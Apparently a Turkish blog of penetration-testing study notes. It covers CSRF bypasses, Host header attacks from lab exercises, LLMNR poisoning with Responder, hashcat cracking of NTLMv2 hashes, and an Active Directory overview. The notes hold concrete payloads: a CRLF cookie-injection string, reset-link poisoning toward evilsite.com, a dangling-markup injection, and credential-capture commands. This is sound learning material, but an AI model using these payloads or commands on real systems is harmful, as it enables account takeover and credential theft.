Ay: Ekim 2020

CSRF Saldırıları Notlar

document.forms[0].submit();

  1. Requestin Metodu değişince CSRF kontrolünü bırakabilir.
  2. CSRF tokeni varken kontrol edebilir ama olmaması durumunda bypass edilebilir. Yani requestten tamamen silip bypass edilebilir.
  3. CSRF token belli bir kullanıcının sessionu ile ilişkili olmayabilir. Bir kullanıcı kendi hesabının CSRF tokeni ile başka kullanıcıya işlem yaptırabilir.
  4. CSRF token is tied to a non-session cookie ⇒ Bu tipte şöyle bir kontrol yaptık. Cookie’de geçen csrf ile sessiondaki csrf birbirine ne kadar bağlı. Bunu test etmek için sessionu değiştirdiğimizde unauthorized hatası alırken CSRF değiştirdiğimizde invalid csrf hatası aldık. Bu çok da bağlı olmayabileceğini bize gösterdi. Bu durumda başka bir kullanıcının CSRF cookie’si ile csrf kodunu kullanırsak sessiona bağlı olmadığı için başarılı şekilde işlemi yapabileceğimiz anlamına geliyor. İki farklı kullanıcı ile deneyince bunun doğru olduğunu gördük. Şimdi geriye saldırganın aldığı cookie csrf tokenini kurbanın header’ına eklemek kaldı. Bunun için search fonksiyonunu kullanıyoruz. Buraya arayacağımız terimi girdiğimizde cookie’mizde bunun yer aldığını gördük. Biz de search kısmını /?search=test%0d%0aSet-Cookie:%20csrfKey=L6qMebH75fU5y31rVB0dqr573JyxuP8a bu şekilde değiştirdik. Böylece cookie eklenince response tarafında Set-Cookie: test Set-Cookie: csrfKey = …. Şeklinde hedaer oluşturuldu. Böylece biz kurbanın headerına saldırganın csrf’ini ekleyebilmiş olduk. Daha sonra da saldırganın tokenini kullanan bir formla kurbanın tıklamasını sağlayınca emaili değiştirebildik. Bu payloadda %0d%0a önemli çünkü alt satıra geçiriyor
  5. CSRF token is simply duplicated in a cookie ⇒ Eğer csrf kontrolü arkada session ile bağlantılı bir şekilde tutulmuyor da cookie’de saklanıyor ve bununla eşleşme kontrol ediliyorsa, bir önceki zaafiyetteki gibi set cookie işlevi olan bir yerden kurbanın cookielerine istediğimiz csrf bilgisini set edip bunu formda geçirerek işlem yapabiliriz.
  6. Referer Header ⇒ Bazı uygulamalar csrf koruması amacıyla HTTP Referer headerını kullanılır. Buna bağlı kontrollerde zayıflıklardan bir tanesi referer header’ının gönderilmesi ama dolu mu boş mu olduğunun kontrol edilmemesi durumudur. Bunu test etmek için PoC mizin başına <meta name=”referrer” content=”no-referrer”> tagını ekleyebiliriz.
  7. Referer tabanlı korumalarda bir de referer kısmının kontrolünde zayıflıklar olabilir. Örnek olarak referer hedaerındaki değerin, ana domaini içerip içermediğini veya değerin başlangıç kısmının ana domain olup olmadığını kontrol ediyor olabilir. Böyle durumlarda da saldırgan sitenin sonuna veya başına kurban site eklenerek saldırı gerçekleştirilebilir.
  8. Bu saldırı genelde email veya password değiştirme amacıyla kullanılır.

HTTP Host Header Attack

Hatırlanması Gereken Pratik Noktalar

  1. Host hedaerını test ederken önce tamamen değişik bir host girmeyi deneyebiliriz.
  2. Hata alıyorsak header sabit kalırken yanına port kısmına port yerine :port şeklinde farklı birşeyler girebiliriz.
  3. Bu da olmazsa hostu içeren notvuln-site.com gibi bir yeni site adresi deneyebiliriz.
  4. Denenebilecek bir diğer konu da Host headerını tekrar yazmak. Bazı yorumlayıcılar ikincisini esas alabiliyor.
    1. Bunu denerken birinci hostun başına boşluk koyarak da deneyebiliriz.
  5. Daha sonra denenebilecek bir diğer konu da requestte / ile gösterilen kısmı tam url yapıp host headerındaki kontrolü atlatmaya çalışmak.
  6. Host header yerine localhost veya local ip’lerden birisini veya sitenin ip’sini girmeyi de deneyebiliriz. Bu da erişilemeyecek kısımlara erişmemizi sağlayabilir.
  7. Son yöntem de X-Forwarded-Host , X-Forwarded-Server, X-HTTP-Host-Override ve Forwarded Headerlerını set ederek Host headerını override etmeyi deneyebiliriz.
  8. Bu saldırıların çalışması için host header’ının bir yerde kullanılıyor ve yansıtılıyor olması gerekir. Örnek olarak password sıfırlamada bu header kullanılabilir veya mail atarken kullanılabilir veya cachelenen bir veride kullanılabilir.

Bu saldırı header kısmındaki Host headerını kullanarak yapılır. Bir ip adresinde, bir sunucuda birden fazla site barındığı için bu host hedaerları kullanılabilir. Sunucu bu header yardımıyla veya load balancer bu header yardımıyle yönlendirmeler yapabilir. Bu yüzden bu header’dan zaafiyetler çıkabilir karşımıza.

  1. Host headerını değiştirip sitenin nasıl davrandığına bakabiliriz. Bazen sistemler bu alanda bozulma olduğunda ne yapacağını bilemediği için bir varsayılan veya fallback adresine yönlendirir. Bazen de Invalid Host Header hatası gelir.
  2. Bazı SSRF teknikleri, eksik kontrol sebebiyle uygulanabilir olur. Örnek olarak port kısmından payload gönderebilir ⇒ vuln-site.com:bad-stuf-here veya aynı domaini içeren başka bir domainle host değiştirilebilir ⇒ notvuln-site.com veya daha güvensiz bir subdomain ile bu kısım atlatılabilir ⇒ hacked.vuln-site.com
  3. Belirsiz Host hedaerları gönderilebilir.
  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

Öncelikle Host Header saldırılarını mümkün kılan headerdan bahsedelim. IPV4 sayısının kısıtlı olmasından dolayı artık bir makinede birden fazla web uygulaması barınabiliyor. Bu yüzden load balancer’lar reverse proxy’ler vs bu headerı kullanarak ayırt edebiliyor.

Bu headerı kullanarak password reset saldırıları, SSRF saldırıları ve XSS’den SQL injection’a kadar birçok soruna sebep olabilir.

Saldırılarda kullanılan temel yöntemler :

  1. Host headerı doğrudan değiştirmek
  2. Host hedaerın altına bir tane daha host yazıp tepkisini görmek
    1. Bunu denerken ilk headerın başına boşluk koymak da denenebilir.
  3. Host headerın adresin sonuna port eklemek :port şeklinde istediğimizi yazıp yazamadığımıza bakabiliriz.
  4. X-Forwarded-Host gibi headerlarla override etmek
  5. GET /admin HTTP/1.1 adresindeki “/” kısmını tam URL ile değiştirdiğimizde bazı sunucular Host kısmını kontrol etmez. Böylece oraya yazdığımız kısmı istediğimiz gibi değiştirip SSRF yaptırabiliriz.
  6. Host kısmına localhost veya networkün içindeki iplerden bir tanesini girmek 192.168.0.32 örneği gibi.

Saldırıların genel mantığı bu header’ın kullanılması esnasında yetersiz kontrol yapılmasından kaynaklanır.

Labların içerikleri :

  • Password reset using host : Password reset token gönderen yerde hostu değiştirip passwordu bizim adresimize göndermesini sağlayabiliriz. Örnek olarak hoste evilsite.com girdiğimizde tokeni evilsite.com/forgot-password?token=sakdh2131khkljh12g3jk şeklinde gönderebilir. Kullanıcı da bilmeden bu linke tıklarsa bizim sitemize böyle bir istek atmış olur ve biz de tokeni öğrenmiş oluruz.
  • Password reset using host and middleware : Password tokeni gönderen isteğin Host headerını X-Forwarded-For ile tekrar yazıp bir önceki labda uyguladığımız sistemi uyguladık. Başka bir kullanıcının kullanıcı adını girerek hostu değiştirip token elde etmiş olduk.
  • Password reset dangling html : Burada password reset yapmak istediğimizde bir token gelmediğini onun yerine mail olarak yeni passwordun geldiğini gördük. Ancak kullanılan antivirüs, mailin içindeki linklere otomatik tıklayıp zararlı olup olmadığını kontrol ediyordu. Bu yüzden biz de password reset işlemini yapan yerde yukarıdaki payload yöntemlerini denedik ancak yalnızca site.com:port değişikliğinde sunucunun sorun çıkartmadığını gördük. Bu durumda da port yerine ‘ ><a href=”//zararlisite.com/? şeklinde belirsiz html’i gömdük. Daha sonra da bunu kullanıcıya mail olarak attık. Kullanıcının antivirüsü hem linke otomatik olarak tıkladı ve şifre dahil bütün bilgiler bizim sitemize istek şeklinde gelmiş oldu.
  • Bu labda web cache poisoning amacıyla host headerini kullanıyoruz. Bir js kaynağını host headerından aldığını gördüğümüzde cachelenen değeri değiştirmek için host headerının altına tekrar bir host yazıp bunun değerini : evilsite.com şeklinde değiştirip arka arkaya istek gönderiyoruz.
  • Authentication Bypass with Host Header Attack : Bu labda da admin paneline girip bir kullanıcı silmemiz gerekiyordu. Host headerini değiştirip istek sanki admin panelinden gelmiş gibi gösteriyoruz. Böylece host değerinde admin panelden geldiğimizi gören sunucu admin olarak giriş yapmış olduğumuzu varsayıp hem paneli görmemize hem de kullanıcıyı silmemize izin veriyor.
  • Routing Based SSRF : Bu labda da admin paneline gitmek istediğimizde yalnızca içerideki kullanıcıların bu panele erişebileceği uyarısını alıyoruz. Bunu aşmak için Intruder kullanıyoruz. Intruderda host kısmını değiştirerek 192.168.0.0/24 bu range aramasını sağlıyoruz. Bir ip değerinde 200 döndüğünü görünce SSRF gerçekleşmiş oluyor ve böylece admin paneline içeriden bir ip ile erişmiş oluyoruz.
  • SSRF via flawed request parsing : Bu labda da Host headerını değiştirmek istediğimizde her sefer hata aldığımızı görüyoruz. Bu noktada da requestin metotdan sonraki kısmını değiştirmeyi deniyoruz. Bu kısmı tam olarak https://URL.com/ gibi tam url ile sonunda / olacak şekilde değiştiriyoruz. Böyle yaptığımızda host headerindeki değişikliklerin hata vermediğini gördük. Şimdi burası sabit dururken admin paneline erişmek için bir önceki SSRF mantığını deniyoruz ve attığımız istekte /admin ile tam url’yi giriyoruz ve bir ip değerinde 200 görüyoruz. Admin paneline erişmiş oluyoruz.

LLMNR Poisoning

  • Link Local Multicast Name Resolution : DNS hata verdiğinde hostları tanımak için kullanılan bir servistir
  • Eskiden NBT-NS ⇒ NETBIOS Name Server vardı.
  • Temel açıklık responde gönderildiğinde sistemin kullanıcı adı ve NTLMv2 Hash olarak şifrenin döndürülmesidir.
  • Saldırgan ortada bulunur. Man In The Middle olarak ağı dinler.
  • Hedef sunucuya yanlış bir isim için bağlantı gönderdiğinde sunucu bunu bilmediğini söyler.
  • Ortadaki saldırgan da kurbana ben sanki bir sunucuymuş gibi “Ben biliyorum kullanıcı adı ve şifre hash’ini bana yolla ben seni bağlayayım” der ve böylece kullanıcının bilgisini almış olur.
  • Bu amaçla responder aracını kullanıyoruz. Genel olarak ilk işimiz bu aracı çalıştırmak olur. Böylece gelecek trafikleri ve istekleri görme imkanımız olur.
  • Bu toolu kullanarak yapılacak saldırının adımları kabaca şöyledir :
    1. Responder çalıştırmak : python Responder.py -l tun0 -rdw
    2. Sonra bekleme aşamasında bir etkinlik gerçekleşir. Birisi yanlış bir isim girer, yanlış olmayan bir domaine bağlanmaya çalışır vs.
    3. Bu aşamada responder bize kullanıcı ip, kullanıcı adı ve kullanıcı password hash’ini döndürür.
    4. Son aşamada da hashcat aracını kullanarak bu hash’i çözmeye çalışıyoruz. Hash çözmeden de yapabileceğimiz saldırılar mevcut ancak rockyou gibi bir aracı kullanarak hash çözersek doğrudan parolayı elde etme ihtimalimiz de oluyor. Bu aracı kullanmak için de şu komutları çalıştırıyoruz : hashcat -m 5600 hashes.txt rockyou.txt burada verdiğimiz rockyou.txt parametresi yaygın kullanılan büyük bir wordlisttir.

Capturing NLTMv2 Hashes With Responder

  • Saldırıyı başlatmak için şunları yapıyoruz :
  1. responder -I eth0 -rdwv burada -I parametresi ile verdiğimiz kısım interfacedir. Yani trafiği dinleyip respond edeceğimiz ağ interface ismini giriyoruz. Diğer parametre için de detaylara —help yardımıyla bakabiliriz. Bu parametrenin sonundaki “v” harfi de verbose anlamına gelmekte. Bu paramtereyi vererek hash’i tekrar almamızı sağlıyoruz.
  2. Dinleme aşamasında eğer LLMNR hata alırsa netbios dinlemeye çalışır. Responder çalıştırdığımızda bunu aşağıdaki resimlerdeki gibi görebiliriz.
  3. Daha sonra kurban makineden dinleyen makineye SMB ile erişmek istediğimizde hash’lerin iki kere geldiğini görüyoruz.
  • Genel olarak artık bu saldırılar çok işe yaramıyor. Çünkü kullanıcılar daha bilinçli ve daha dikkatli davranıyor. Ama yine de bu hatalar az miktarda yaygın değil. Bu yüzden bu şekilde bir saldırı kolayca kullanıcıların bilgilerine erişmemizi sağlıyor.

Password Cracking With Hashcat

  • Hashcat, hash çözmek için kullanılan bir araçtır. Bu aracı kullananıp hash çözmek için :
    1. gedit ntlmhash.txt açıp buraya hash’i komple kopyalıyoruz.
    2. hashcat -m 5600 ntlm.txt wordlist : Hashcat aracı oldukça geniş kullanım alanına sahip bir araçtır. İçerisinde birçok farlı modül bulunur. Biz de bu modülleri hashcat —help komutu ile görebiliriz. Bu modüllerden bizim ihtiyacımız olan modül NTLMv2 modülüdür. Bu yüzden -m 5600 komutu ile bu modülü seçmiş oluyoruz. Buradaki son parametremiz olan wordlist de rockyou.txt olacak. Bu wordliste de /usr/share altından erişebiliriz. Bu listenin altında milyonlarca password hazır olarak bulunur ve bunları dener.
    3. Daha fazla wordlist için internette arama yapabiliriz ve şu linki kullanabiliriz : https://github.com/danielmiessler/SecLists
    4. Aracı çalıştırırken VM üzerinde çalışmıyorsak —force komutunu da ekleyebiliriz. Böylece tam güçle hash çözmeye çalışacaktır. Yani komutumuz hashcat -m 5600 ntlm.txt rockyou.txt şeklinde olacak.
    5. Son olarak -O parametresini eklemek te Optimize anlamına gelir ve biraz daha hızı vs optimize eder.

LLMNR Poisoning Defences

  • En temel yöntem LLMNR sistemini tamamen disable etmektir. Yalnızca bunun etkinliğini kaldırmak yetmez aynı zamanda NBT-NS de disable edilmelidir.
  • Çünkü bir DNS çözümlenemeyince önce LLMNR’ye sonra NBT-NS ‘ye gider bu yüzden ikisini de disable etmek gerekir.
  • Eğer bir işletme kesinlikle LLMNR kullanması gerekiyorsa o zaman NAC aktif edilmeli.
  • NAC üzerinden mac ve ip kontrol edilir ve bu MAC ve IP’nin networke ait olup olmadığı sorgulanarak öyle trafiğe ve isteğe izin verilir.
  • Bazı bypass durumları vardır NAC için ama genel olarak iyi bir koruma sağlayacaktır.
  • Son önlem de güçlü şifreler kullanmaktır.

Yapılacak ve Çalışılacaklar

  • LLMNR nasıl çalıştığını anlamak için videoyu izle

Active Directory Overview(New)

  • Bir telefon defteri gibi dizin sistemidir.
  • Bilgisayar, printer vs hepsi bu dizine kayıt olur.
  • Windows makineler kerberos ticketler ile auth olurken linux makineler, firewall’lar vs Radius veya LDAP ile authenticate olur.
  • Bir kullanıcı adı ve şifreyle farklı bilgisayarlardan cihazlardan bağlanmak mümkün olur.
  • Fortune 1000 şirketlerinin %95’i Active Directory kullanır.
  • Özellikler,trustlar, componentler vs kullanılarak bile hack edilebilir. Patch edilebilir bir exploiti olması şart değildir.

What are objects in active directory? Object is the basic element of Active Directory in Microsoft Windows Server family that represents something on the network, such as a user, a group, a computer, an application, a printer, or a shared folder.

Fiziksel AD Componentleri

Domain Controller

  • AD dizinin bir kopyasını tutan makinedir.
  • Giriş ve Kayıt servislerini sağlar
  • Diğer domain controller’ları günceller ve kendisine kopyalar
  • Admin kullanıcısına izin verir, politika ve kullanıcı eklenmesine izin verir. Network işlemlerini yürütür.
  • En önemli componenttir. Herşey burada tutulur.

AD DS Data Store

  • Kullanıcı bilgileri,servisler ve uygulamalar gibi bilgilerin tutulduğu db dosyalarından ve processlerinden oluşur.
  • Ntds.dit dosyasından oluşur. Pass The Hash vs bu dosyadan çıkan bilgilerden oluşur.
  • %SystemRoot%\NTDS yolunda bulunur. Yalnızda domain controller’larda bulunur ve yalnızda DC tarafından erişilebilir.

Lojik AD Componentleri

AD Schema

  • Rule book denebilir. Directory’de tutulabilecek tüm objelerin türlerini tanımlar.
  • Obje oluşturma ve configuration kurallarını barındırır.

Domain

  • Belli politikaların uygulandığı gruplara denir. Organizasyonlar içindeki objeleri gruplamak ve yönetmek için kullanılır.
  • Aynı zamanda domain controllerdan data kopyalamadaki sınırları da belirler ( hangi grup için hangi politikaların ve kuralların dc’den alınacağını belirleyen sınırlardır)
  • Kaynaklara erişim yetkisini belirleyen sınırlardır.

Tree

  • Bir parent domain olur ve child domainler olur. Bu domainler arasında otomatik olarak bir güven kurulur.

Forest

  • Birden fazla domain tree’nin bağlanmasıyla oluşan yapılardır.
  • Ortak bir schema, bir ayar grubu(configuration partition), bir global katalog ve search paylaşırlar
  • Güven ilişkileri oluşturulur.
  • Enterprise admin vs paylaşımı olur.

Organizational Units (OU)

  • Domain içindeki alt birimdir. Kullanıcılar,bilgisayarlar, rule’lar gibi objeleri barındırır.
  • Domain altında hiyerarşiyi temsil eder.
  • Objeler arasında izinleri ve adminleri belirler.
  • Kuralları uygular.

Trusts

  • Kullanıcıların kaynaklara erişiminin belirlendiği mekanizmadır.
  • Yönlü veya yönsüz olabilir.
  • Yönlü olduğunda trust olan yönün aksi yönünde erişim olur. Yani A objesi, B objesine güveniyorsa B objesi, A’nın kaynaklarına erişebilir.
  • Domainler arasında trust kurulur.
  • Forest içindeki bütün domainler otomatik olarak birbirlerine karşı transitive trust kurar.
  • Trust forest dışına da genişletilebilir.

Objects

  • User,InetOrgPerson, Contacts, Groups, Computers, Printers, Shared Folders olabilir.